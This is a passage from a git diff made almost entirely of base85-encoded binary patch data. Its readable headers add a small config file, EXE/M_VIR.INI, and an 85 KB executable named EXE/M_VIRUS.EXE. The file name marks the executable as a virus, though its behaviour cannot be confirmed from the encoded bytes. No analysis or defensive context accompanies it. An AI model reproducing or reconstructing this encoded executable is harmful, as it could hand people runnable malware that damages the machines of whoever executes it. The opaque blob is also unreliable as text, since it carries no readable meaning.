z#UBQRvYA~7d%53y`;cK>5Ea>%x!uirZ|)dICXvbLk4O~aFW3`_b?2Y|?)0Ajn)%nC zbg?3-s6Ab*D{`22b=$@-p2xg`cxqB4osC&MRSA>Pe>qvKdtcvE_Ze;z3&b-=AE}Gf zjm7UX{WKkg%d>Oe>C>AikQrJ{MpE^``W)R(y%cajyl^R*)(po>1#ld+!VkQ@Qa3`E zquZu$EWwd-k?RQ&;cZByZx|>X@2gYIV8;8;V5Z`y#F_oR_zl8u8GhUF+lAkXNi)Flqa^g} z$&(&^ew(RLYvjFrUctSqMgCNqF%pb`4&0!YpcY4wqFsilVbc@d92Gwu%{P{Iy>_H1 zkQ5XYFrZj$|1o|I>S1!Yb)=}suaEyexLd9r1-Jx;5;k3P^{3DhXq7ty{2+JPSX8h_FOjA+;|r!*-Gt7a#a_V>;H| z#}@4!b5KDAF$m|EmBlVEv)(o!0Q3lT99G;)Y_bC5a7TxaexMB*n2mUNd4kt9i| zg2#uFPbBLl+a-G?MiC7 zN2(^3Qthwqq>fS#Q4d#-Q%_MZQLj~RP=BZXNnNZyqQ0hXP~TBMQOh(DnxUE`&2&w+ zW&!k@S7|nDc52Er4rn(wXr5?%v~9HewI{W8+S}SDtwz^I_o}Y1Zip^XH%<4RZoY1@ z?lav+U77Bn?ie(KZ|h#i%_{5l=k!6o<9wI-R{BDgV3=yiG~^hp2F~!g;VZ*0hW&

ShDQd*Pwn@bUzlH%U!31Gzf8Xzzqx*&`K|N&*6#p z5BHDqkMkexKg)lPf4=`x|Be3N`|tGs#s9p2z5nn2E`Ps(wgH_2dIXFNNDi19kQwl| z0BgXqfG-066;KjT8Q=(L2)GyUG(Z;EC9qduWME9-q`>sR_X6_*KM7nNxFPWSz_P%D zfz^R$1D^y+TWMRhYV}5|eyw6#z1b?Om8sR=T7A^&>sFgv{n%=EtJ+pqS~aw~-%1zM zDkwPU)u5h1eS=8pcdhkpEN#xW8P@juwz5)XDefUC{iTngbW>gz^K0h5=7Hun%~_U( zmWib|O9M-%m}Z#%YOBOwa_jbO2`292QKY0J?`|syka=VoF`)ljDz2+X98(BKAG`jS` NT**A|c=;b5{}0>2_L2Yq literal 0 HcmV?d00001 diff --git a/EXE/M_VIR.INI b/EXE/M_VIR.INI new file mode 100644 index 0000000..e4ed502 --- /dev/null +++ b/EXE/M_VIR.INI @@ -0,0 +1 @@ + 2 diff --git a/EXE/M_VIRUS.EXE b/EXE/M_VIRUS.EXE new file mode 100644 index 0000000000000000000000000000000000000000..ecfac9e97b2e6a74272b17f05dfc35a5ed6d6eef GIT binary patch literal 85326 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 